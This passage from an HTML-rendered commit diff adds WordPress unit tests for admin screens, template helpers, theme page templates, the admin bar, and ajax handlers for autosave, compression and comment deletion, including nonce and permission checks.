+               'post-new.php'=> array( 'action' => 'add', 'base' => 'post', 'id' => 'post', 'post_type' => 'post' ),
+               'edit-tags.php' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ),
+               'edit-tags.php?taxonomy=post_tag' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ),
+               'edit-tags.php?taxonomy=category' => array( 'base' => 'edit-tags', 'id' => 'edit-category', 'post_type' => 'post', 'taxonomy' => 'category' ),
+               'upload.php' => array( 'base' => 'upload', 'id' => 'upload' ),
+               'media-new.php' => array( 'action' => 'add', 'base' => 'media', 'id' => 'media' ),
+               'edit.php?post_type=page' => array( 'base' => 'edit', 'id' => 'edit-page', 'post_type' => 'page' ),
+               'link-manager.php' => array( 'base' => 'link-manager', 'id' => 'link-manager' ),
+               'link-add.php' => array( 'action' => 'add', 'base' => 'link', 'id' => 'link' ),
+               'edit-tags.php?taxonomy=link_category' => array( 'base' => 'edit-tags', 'id' => 'edit-link_category', 'taxonomy' => 'link_category', 'post_type' => '' ),
+               'edit-comments.php' => array( 'base' => 'edit-comments', 'id' => 'edit-comments' ),
+               'themes.php' => array( 'base' => 'themes', 'id' => 'themes' ),
+               'widgets.php' => array( 'base' => 'widgets', 'id' => 'widgets' ),
+               'nav-menus.php' => array( 'base' => 'nav-menus', 'id' => 'nav-menus' ),
+               'plugins.php' => array( 'base' => 'plugins', 'id' => 'plugins' ),
+               'users.php' => array( 'base' => 'users', 'id' => 'users' ),
+               'user-new.php' => array( 'action' => 'add', 'base' => 'user', 'id' => 'user' ),
+               'profile.php' => array( 'base' => 'profile', 'id' => 'profile' ),
+               'tools.php' => array( 'base' => 'tools', 'id' => 'tools' ),
+               'import.php' => array( 'base' => 'import', 'id' => 'import' ),
+               'export.php' => array( 'base' => 'export', 'id' => 'export' ),
+               'options-general.php' => array( 'base' => 'options-general', 'id' => 'options-general' ),
+               'options-writing.php' => array( 'base' => 'options-writing', 'id' => 'options-writing' ),
+       );
+
+       function setUp() {
+               set_current_screen( 'front' );
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               unset( $GLOBALS['wp_taxonomies']['old-or-new'] );
+               set_current_screen( 'front' );
+       }
+
+       function test_set_current_screen_with_hook_suffix() {
+               global $current_screen;
+
+               foreach ( $this->core_screens as $hook_name => $screen ) {
+                       $_GET = $_POST = $_REQUEST = array();
+                       $GLOBALS['taxnow'] = $GLOBALS['typenow'] = '';
+                       $screen = (object) $screen;
+                       $hook = parse_url( $hook_name );
+
+                       if ( ! empty( $hook['query'] ) ) {
+                               $args = wp_parse_args( $hook['query'] );
+                               if ( isset( $args['taxonomy'] ) )
+                                       $GLOBALS['taxnow'] = $_GET['taxonomy'] = $_POST['taxonomy'] = $_REQUEST['taxonomy'] = $args['taxonomy'];
+                               if ( isset( $args['post_type'] ) )
+                                       $GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $args['post_type'];
+                               else if ( isset( $screen->post_type ) )
+                                       $GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $screen->post_type;
+                       }
+
+                       $GLOBALS['hook_suffix'] = $hook['path'];
+                       set_current_screen();
+
+                       $this->assertEquals( $screen->id, $current_screen->id, $hook_name );
+                       $this->assertEquals( $screen->base, $current_screen->base, $hook_name );
+                       if ( isset( $screen->action ) )
+                               $this->assertEquals( $screen->action, $current_screen->action, $hook_name );
+                       if ( isset( $screen->post_type ) )
+                               $this->assertEquals( $screen->post_type, $current_screen->post_type, $hook_name );
+                       else
+                               $this->assertEmpty( $current_screen->post_type, $hook_name );
+                       if ( isset( $screen->taxonomy ) )
+                               $this->assertEquals( $screen->taxonomy, $current_screen->taxonomy, $hook_name );
+
+                       $this->assertTrue( $current_screen->in_admin() );
+                       $this->assertTrue( $current_screen->in_admin( 'site' ) );
+                       $this->assertFalse( $current_screen->in_admin( 'network' ) );
+                       $this->assertFalse( $current_screen->in_admin( 'user' ) );
+                       $this->assertFalse( $current_screen->in_admin( 'garbage' ) );
+
+                       // With convert_to_screen(), the same ID should return the exact $current_screen.
+                       $this->assertSame( $current_screen, convert_to_screen( $screen->id ), $hook_name );
+
+                       // With convert_to_screen(), the hook_suffix should return the exact $current_screen.
+                       // But, convert_to_screen() cannot figure out ?taxonomy and ?post_type.
+                       if ( empty( $hook['query'] ) )
+                               $this->assertSame( $current_screen, convert_to_screen( $GLOBALS['hook_suffix'] ), $hook_name );
+               }
+       }
+
+       function test_post_type_as_hookname() {
+               $screen = convert_to_screen( 'page' );
+               $this->assertEquals( $screen->post_type, 'page' );
+               $this->assertEquals( $screen->base, 'post' );
+               $this->assertEquals( $screen->id, 'page' );
+       }
+
+       function test_post_type_with_special_suffix_as_hookname() {
+               register_post_type( 'value-add' );
+               $screen = convert_to_screen( 'value-add' ); // the -add part is key.
+               $this->assertEquals( $screen->post_type, 'value-add' );
+               $this->assertEquals( $screen->base, 'post' );
+               $this->assertEquals( $screen->id, 'value-add' );
+
+               $screen = convert_to_screen( 'edit-value-add' ); // the -add part is key.
+               $this->assertEquals( $screen->post_type, 'value-add' );
+               $this->assertEquals( $screen->base, 'edit' );
+               $this->assertEquals( $screen->id, 'edit-value-add' );
+       }
+
+       function test_taxonomy_with_special_suffix_as_hookname() {
+               register_taxonomy( 'old-or-new', 'post' );
+               $screen = convert_to_screen( 'edit-old-or-new' ); // the -new part is key.
+               $this->assertEquals( $screen->taxonomy, 'old-or-new' );
+               $this->assertEquals( $screen->base, 'edit-tags' );
+               $this->assertEquals( $screen->id, 'edit-old-or-new' );
+       }
+
+       function test_post_type_with_edit_prefix() {
+               register_post_type( 'edit-some-thing' );
+               $screen = convert_to_screen( 'edit-some-thing' );
+               $this->assertEquals( $screen->post_type, 'edit-some-thing' );
+               $this->assertEquals( $screen->base, 'post' );
+               $this->assertEquals( $screen->id, 'edit-some-thing' );
+
+               $screen = convert_to_screen( 'edit-edit-some-thing' );
+               $this->assertEquals( $screen->post_type, 'edit-some-thing' );
+               $this->assertEquals( $screen->base, 'edit' );
+               $this->assertEquals( $screen->id, 'edit-edit-some-thing' );
+       }
+
+       function test_post_type_edit_collisions() {
+               register_post_type( 'comments' );
+               register_post_type( 'tags' );
+
+               // Sorry, core wins here.
+               $screen = convert_to_screen( 'edit-comments' );
+               $this->assertEquals( $screen->base, 'edit-comments' );
+
+               // The post type wins here. convert_to_screen( $post_type ) is only relevant for meta boxes anyway.
+               $screen = convert_to_screen( 'comments' );
+               $this->assertEquals( $screen->base, 'post' );
+
+               // Core wins.
+               $screen = convert_to_screen( 'edit-tags' );
+               $this->assertEquals( $screen->base, 'edit-tags' );
+
+               $screen = convert_to_screen( 'tags' );
+               $this->assertEquals( $screen->base, 'post' );
+       }
+
+       function test_help_tabs() {
+               $tab = rand_str();
+               $tab_args = array(
+                       'id' => $tab,
+                       'title' => 'Help!',
+                       'content' => 'Some content',
+                       'callback' => false,
+               );
+
+               $screen = get_current_screen();
+               $screen->add_help_tab( $tab_args );
+               $this->assertEquals( $screen->get_help_tab( $tab ), $tab_args );
+
+               $tabs = $screen->get_help_tabs();
+               $this->assertArrayHasKey( $tab, $tabs );
+
+               $screen->remove_help_tab( $tab );
+               $this->assertNull( $screen->get_help_tab( $tab ) );
+
+               $screen->remove_help_tabs();
+               $this->assertEquals( $screen->get_help_tabs(), array() );
+       }
+
+       function test_in_admin() {
+               $screen = get_current_screen();
+
+               set_current_screen( 'edit.php' );
+               $this->assertTrue( get_current_screen()->in_admin() );
+               $this->assertTrue( get_current_screen()->in_admin( 'site' ) );
+               $this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+               $this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+               set_current_screen( 'dashboard-network' );
+               $this->assertTrue( get_current_screen()->in_admin() );
+               $this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+               $this->assertTrue( get_current_screen()->in_admin( 'network' ) );
+               $this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+               set_current_screen( 'dashboard-user' );
+               $this->assertTrue( get_current_screen()->in_admin() );
+               $this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+               $this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+               $this->assertTrue( get_current_screen()->in_admin( 'user' ) );
+
+               set_current_screen( 'front' );
+               $this->assertFalse( get_current_screen()->in_admin() );
+               $this->assertFalse( get_current_screen()->in_admin( 'site' ) );
+               $this->assertFalse( get_current_screen()->in_admin( 'network' ) );
+               $this->assertFalse( get_current_screen()->in_admin( 'user' ) );
+
+               $GLOBALS['current_screen'] = $screen;
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsadminincludesTemplatephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/admin/includesTemplate.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/admin/includesTemplate.php                             (rev 0)
+++ trunk/tests/tests/admin/includesTemplate.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,48 @@
</span><ins>+<?php
+/**
+ * @group admin
+ */
+class Tests_Admin_includesTemplate extends WP_UnitTestCase {
+       function test_equal() {
+               $this->assertEquals(' selected=\'selected\'', selected('foo','foo',false));
+               $this->assertEquals(' checked=\'checked\'', checked('foo','foo',false));
+
+               $this->assertEquals(' selected=\'selected\'', selected('1',1,false));
+               $this->assertEquals(' checked=\'checked\'', checked('1',1,false));
+
+               $this->assertEquals(' selected=\'selected\'', selected('1',true,false));
+               $this->assertEquals(' checked=\'checked\'', checked('1',true,false));
+
+               $this->assertEquals(' selected=\'selected\'', selected(1,1,false));
+               $this->assertEquals(' checked=\'checked\'', checked(1,1,false));
+
+               $this->assertEquals(' selected=\'selected\'', selected(1,true,false));
+               $this->assertEquals(' checked=\'checked\'', checked(1,true,false));
+
+               $this->assertEquals(' selected=\'selected\'', selected(true,true,false));
+               $this->assertEquals(' checked=\'checked\'', checked(true,true,false));
+
+               $this->assertEquals(' selected=\'selected\'', selected('0',0,false));
+               $this->assertEquals(' checked=\'checked\'', checked('0',0,false));
+
+               $this->assertEquals(' selected=\'selected\'', selected(0,0,false));
+               $this->assertEquals(' checked=\'checked\'', checked(0,0,false));
+
+               $this->assertEquals(' selected=\'selected\'', selected('',false,false));
+               $this->assertEquals(' checked=\'checked\'', checked('',false,false));
+
+               $this->assertEquals(' selected=\'selected\'', selected(false,false,false));
+               $this->assertEquals(' checked=\'checked\'', checked(false,false,false));
+       }
+
+       function test_notequal() {
+               $this->assertEquals('', selected('0','',false));
+               $this->assertEquals('', checked('0','',false));
+
+               $this->assertEquals('', selected(0,'',false));
+               $this->assertEquals('', checked(0,'',false));
+
+               $this->assertEquals('', selected(0,false,false));
+               $this->assertEquals('', checked(0,false,false));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsadminincludesThemephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/admin/includesTheme.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/admin/includesTheme.php                                (rev 0)
+++ trunk/tests/tests/admin/includesTheme.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,54 @@
</span><ins>+<?php
+/**
+ * @group themes
+ */
+class Tests_Admin_includesTheme extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->theme_root = DIR_TESTDATA . '/themedir1';
+
+               $this->orig_theme_dir = $GLOBALS['wp_theme_directories'];
+               $GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root );
+
+               add_filter('theme_root', array(&$this, '_theme_root'));
+               add_filter( 'stylesheet_root', array(&$this, '_theme_root') );
+               add_filter( 'template_root', array(&$this, '_theme_root') );
+
+               // clear caches
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+       }
+
+       function tearDown() {
+               $GLOBALS['wp_theme_directories'] = $this->orig_theme_dir;
+               remove_filter('theme_root', array(&$this, '_theme_root'));
+               remove_filter( 'stylesheet_root', array(&$this, '_theme_root') );
+               remove_filter( 'template_root', array(&$this, '_theme_root') );
+
+               wp_clean_themes_cache();
+               unset( $GLOBALS['wp_themes'] );
+               parent::tearDown();
+       }
+
+       // replace the normal theme root dir with our premade test dir
+       function _theme_root($dir) {
+               return $this->theme_root;
+       }
+
+       /**
+        * @ticket 10959
+        * @ticket 11216
+        */
+       function test_page_templates() {
+               $theme = get_theme('Page Template Theme');
+               $this->assertFalse( empty($theme) );
+
+               switch_theme($theme['Template'], $theme['Stylesheet']);
+
+               $templates = get_page_templates();
+               $this->assertEquals(3, count($templates));
+               $this->assertEquals("template-top-level.php", $templates['Top Level']);
+               $this->assertEquals("subdir/template-sub-dir.php", $templates['Sub Dir']);
+               $this->assertEquals("template-header.php", $templates['This Template Header Is On One Line']);
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsadminbarphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/adminbar.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/adminbar.php                           (rev 0)
+++ trunk/tests/tests/adminbar.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,64 @@
</span><ins>+<?php
+
+/**
+ * @group admin-bar
+ * @group toolbar
+ * @group admin
+ */
+class Tests_AdminBar extends WP_UnitTestCase {
+
+       static function setUpBeforeClass() {
+               WP_UnitTestCase::setUpBeforeClass();
+               require_once ABSPATH . WPINC . '/class-wp-admin-bar.php';
+       }
+
+       function setUp() {
+               parent::setUp();
+               $this->current_user = get_current_user_id();
+               wp_set_current_user( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+       }
+
+       function tearDown() {
+               wp_set_current_user( $this->current_user );
+               parent::tearDown();
+       }
+
+       /**
+        * @ticket 21117
+        */
+       function test_content_post_type() {
+               register_post_type( 'content', array( 'show_in_admin_bar' => true ) );
+
+               $admin_bar = new WP_Admin_Bar;
+
+               wp_admin_bar_new_content_menu( $admin_bar );
+
+               $nodes = $admin_bar->get_nodes();
+               $this->assertFalse( $nodes['new-content']->parent );
+               $this->assertEquals( 'new-content', $nodes['add-new-content']->parent );
+
+               _unregister_post_type( 'content' );
+       }
+
+       /**
+        * @ticket 21117
+        */
+       function test_merging_existing_meta_values() {
+               $admin_bar = new WP_Admin_Bar;
+
+               $admin_bar->add_node( array(
+                       'id' => 'test-node',
+                       'meta' => array( 'class' => 'test-class' ),
+               ) );
+               $node = $admin_bar->get_node( 'test-node' );
+               $this->assertEquals( array( 'class' => 'test-class' ), $node->meta );
+
+               $admin_bar->add_node( array(
+                       'id' => 'test-node',
+                       'meta' => array( 'some-meta' => 'value' ),
+               ) );
+
+               $node = $admin_bar->get_node( 'test-node' );
+               $this->assertEquals( array( 'class' => 'test-class', 'some-meta' => 'value' ), $node->meta );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsajaxAutosavephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/Autosave.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/Autosave.php                              (rev 0)
+++ trunk/tests/tests/ajax/Autosave.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,114 @@
</span><ins>+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax save draft functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ * @runTestsInSeparateProcesses
+ */
+class Tests_Ajax_Autosave extends WP_Ajax_UnitTestCase {
+
+       /**
+        * Post
+        * @var mixed
+        */
+       protected $_post = null;
+
+       /**
+        * Set up the test fixture
+        */
+       public function setUp() {
+               parent::setUp();
+               $post_id = $this->factory->post->create( array( 'post_status' => 'draft' ) );
+               $this->_post = get_post( $post_id );
+       }
+
+       /**
+        * Test autosaving a post
+        * @return void
+        */
+       public function test_autosave_post() {
+
+               // Become an admin
+               $this->_setRole( 'administrator' );
+
+               // Set up the $_POST request
+               $md5 = md5( uniqid() );
+               $_POST = array(
+                   'post_id'       => $this->_post->ID,
+                   'autosavenonce' => wp_create_nonce( 'autosave' ),
+                   'post_content'  => $this->_post->post_content . PHP_EOL . $md5,
+                       'post_type'     => 'post',
+                   'autosave'      => 1,
+               );
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'autosave' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Get the response
+               $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+               // Ensure everything is correct
+               $this->assertEquals( $this->_post->ID, (int) $xml->response[0]->autosave['id'] );
+               $this->assertEquals( 'autosave_' . $this->_post->ID, (string) $xml->response['action']);
+
+               // Check that the edit happened
+               $post = get_post( $this->_post->ID) ;
+               $this->assertGreaterThanOrEqual( 0, strpos( $post->post_content, $md5 ) );
+       }
+
+       /**
+        * Test with an invalid nonce
+        * @return void
+        */
+       public function test_with_invalid_nonce( ) {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up the $_POST request
+               $_POST = array(
+                   'post_id'       => $this->_post->ID,
+                   'autosavenonce' => md5( uniqid() ),
+                   'autosave'      => 1
+               );
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'autosave' );
+       }
+
+       /**
+        * Test with a bad post id
+        * @return void
+        */
+       public function test_with_invalid_post_id( ) {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up the $_POST request
+               $_POST = array(
+                   'post_id'       => 0,
+                   'autosavenonce' => wp_create_nonce( 'autosave' ),
+                   'autosave'      => 1,
+                       'post_type'     => 'post'
+               );
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', 'You are not allowed to edit this post.' );
+               $this->_handleAjax( 'autosave' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxCompressionphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/Compression.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/Compression.php                           (rev 0)
+++ trunk/tests/tests/ajax/Compression.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,199 @@
</span><ins>+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax compression test functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ * @runTestsInSeparateProcesses
+ */
+class Tests_Ajax_CompressionTest extends WP_Ajax_UnitTestCase {
+
+       /**
+        * Test as a logged out user
+        */
+       public function test_logged_out() {
+               $this->logout();
+
+               // Set up a default request
+               $_GET['test'] = 1;
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '0' );
+               $this->_handleAjax( 'wp-compression-test' );
+       }
+
+       /**
+        * Fetch the test text
+        */
+       public function test_text() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['test'] = 1;
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'wp-compression-test' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Ensure we found the right match
+               $this->assertContains( 'wpCompressionTest', $this->_last_response );
+       }
+
+       /**
+        * Fetch the test text (gzdeflate)
+        */
+       public function test_gzdeflate() {
+
+               if ( !function_exists( 'gzdeflate' ) ) {
+                       $this->markTestSkipped( 'gzdeflate function not available' );
+               }
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['test'] = 2;
+               $_SERVER['HTTP_ACCEPT_ENCODING'] = 'deflate';
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'wp-compression-test' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Ensure we found the right match
+               $this->assertContains( 'wpCompressionTest', gzinflate( $this->_last_response ) );
+       }
+
+       /**
+        * Fetch the test text (gzencode)
+        */
+       public function test_gzencode() {
+
+               if ( !function_exists('gzencode') ) {
+                       $this->markTestSkipped( 'gzencode function not available' );
+               }
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['test'] = 2;
+               $_SERVER['HTTP_ACCEPT_ENCODING'] = 'gzip';
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'wp-compression-test' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Ensure we found the right match
+               $this->assertContains( 'wpCompressionTest', $this->_gzdecode( $this->_last_response ) );
+       }
+
+       /**
+        * Fetch the test text (unknown encoding)
+        */
+       public function test_unknown_encoding() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['test'] = 2;
+               $_SERVER['HTTP_ACCEPT_ENCODING'] = 'unknown';
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'wp-compression-test' );
+       }
+
+       /**
+        * Set the 'can_compress_scripts' site option to true
+        */
+       public function test_set_yes() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['test'] = 'yes';
+
+               // Set the option to false
+               update_site_option( 'can_compress_scripts', 0 );
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'wp-compression-test' );
+               } catch ( WPAjaxDieStopException $e ) {
+                       unset( $e );
+               }
+
+               // Check the site option
+               $this->assertEquals( 1, get_site_option( 'can_compress_scripts' ) );
+       }
+
+       /**
+        * Set the 'can_compress_scripts' site option to false
+        */
+       public function test_set_no() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['test'] = 'no';
+
+               // Set the option to true
+               update_site_option( 'can_compress_scripts', 1 );
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'wp-compression-test' );
+               } catch ( WPAjaxDieStopException $e ) {
+                       unset( $e );
+               }
+
+               // Check the site option
+               $this->assertEquals( 0, get_site_option( 'can_compress_scripts' ) );
+       }
+
+       /**
+        * Undo gzencode.  This is ugly, but there's no stock gzdecode() function.
+        * @param string $encoded_data
+        * @return string
+        */
+       protected function _gzdecode( $encoded_data ) {
+
+               // Save the encoded data to a temp file
+               $file = wp_tempnam( 'gzdecode' );
+               file_put_contents( $file, $encoded_data );
+
+               // Flush it to the output buffer and delete the temp file
+               ob_start();
+               readgzfile( $file );
+               unlink( $file );
+
+               // Save the data stop buffering
+               $data = ob_get_clean();
+               ob_end_clean();
+
+               // Done
+               return $data;
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxDeleteCommentphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/DeleteComment.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/DeleteComment.php                         (rev 0)
+++ trunk/tests/tests/ajax/DeleteComment.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,355 @@
</span><ins>+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax comment functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_DeleteComment extends WP_Ajax_UnitTestCase {
+
+       /**
+        * List of comments
+        * @var array
+        */
+       protected $_comments = array();
+
+       /**
+        * Set up the test fixture
+        */
+       public function setUp() {
+               parent::setUp();
+               $post_id = $this->factory->post->create();
+               $this->_comments = $this->factory->comment->create_post_comments( $post_id, 15 );
+               $this->_comments = array_map( 'get_comment', $this->_comments );
+       }
+
+       /**
+        * Clear the POST actions in between requests
+        */
+       protected function _clear_post_action() {
+               unset($_POST['trash']);
+               unset($_POST['untrash']);
+               unset($_POST['spam']);
+               unset($_POST['unspam']);
+               unset($_POST['delete']);
+               $this->_last_response = '';
+       }
+
+       /***********************************************************/
+       /** Test prototype
+    /***********************************************************/
+
+       /**
+        * Test as a privilged user (administrator)
+        * Expects test to pass
+        * @param mixed $comment Comment object
+        * @param string action trash, untrash, etc.
+        * @return void
+        */
+       public function _test_as_admin( $comment, $action ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_POST['id']          = $comment->comment_ID;
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+               $_POST[$action]       = 1;
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'delete-comment' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Get the response
+               $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA );
+
+               // Ensure everything is correct
+               $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] );
+               $this->assertEquals( 'delete-comment_' . $comment->comment_ID, (string) $xml->response['action'] );
+               $this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+               $this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] );
+
+               // trash, spam, delete should make the total go down
+               if ( in_array( $action, array( 'trash', 'spam', 'delete' ) ) ) {
+                       $total = $_POST['_total'] - 1;
+
+               // unspam, untrash should make the total go up
+               } elseif ( in_array( $action, array( 'untrash', 'unspam' ) ) ) {
+                       $total = $_POST['_total'] + 1;
+               }
+
+               // The total is calculated based on a page break -OR- a random number.  Let's look for both possible outcomes
+               $comment_count = wp_count_comments( 0 );
+               $recalc_total = $comment_count->total_comments;
+
+               // Check for either possible total
+               $this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) );
+       }
+
+       /**
+        * Test as a non-privileged user (subscriber)
+        * Expects test to fail
+        * @param mixed $comment Comment object
+        * @param string action trash, untrash, etc.
+        * @return void
+        */
+       public function _test_as_subscriber( $comment, $action ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become a subscriber
+               $this->_setRole( 'subscriber' );
+
+               // Set up the $_POST request
+               $_POST['id']          = $comment->comment_ID;
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+               $_POST[$action]       = 1;
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'delete-comment' );
+       }
+
+
+       /**
+        * Test with a bad nonce
+        * Expects test to fail
+        * @param mixed $comment Comment object
+        * @param string action trash, untrash, etc.
+        * @return void
+        */
+       public function _test_with_bad_nonce( $comment, $action ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become a subscriber
+               $this->_setRole( 'administrator' );
+
+               // Set up the $_POST request
+               $_POST['id']          = $comment->comment_ID;
+               $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() );
+               $_POST[$action]       = 1;
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'delete-comment' );
+       }
+
+       /**
+        * Test with a bad id
+        * Expects test to fail
+        * @param mixed $comment Comment object
+        * @param string action trash, untrash, etc.
+        * @return void
+        */
+       public function _test_with_bad_id( $comment, $action ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become a subscriber
+               $this->_setRole( 'administrator' );
+
+               // Set up the $_POST request
+               $_POST['id']          = 12346789;
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_12346789' );
+               $_POST[$action]       = 1;
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
+               $_POST['_page']       = 1;
+               $_POST['_url']        = admin_url( 'edit-comments.php' );
+
+               // Make the request, look for a timestamp in the exception
+               try {
+                       $this->_handleAjax( 'delete-comment' );
+                       $this->fail( 'Expected exception: WPAjaxDieStopException' );
+               } catch ( WPAjaxDieStopException $e ) {
+                       $this->assertEquals( 10, strlen( $e->getMessage() ) );
+                       $this->assertTrue( is_numeric( $e->getMessage() ) );
+               } catch ( Exception $e ) {
+                       $this->fail( 'Unexpected exception type: ' . get_class( $e ) );
+               }
+       }
+
+       /**
+        * Test doubling the action (e.g. trash a trashed comment)
+        * Expects test to fail
+        * @param mixed $comment Comment object
+        * @param string action trash, untrash, etc.
+        * @return void
+        */
+       public function _test_double_action( $comment, $action ) {
+
+               // Reset request
+               $this->_clear_post_action();
+
+               // Become a subscriber
+               $this->_setRole( 'administrator' );
+
+               // Set up the $_POST request
+               $_POST['id']          = $comment->comment_ID;
+               $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID );
+               $_POST[$action]       = 1;
+               $_POST['_total']      = count( $this->_comments );
+               $_POST['_per_page']   = 100;
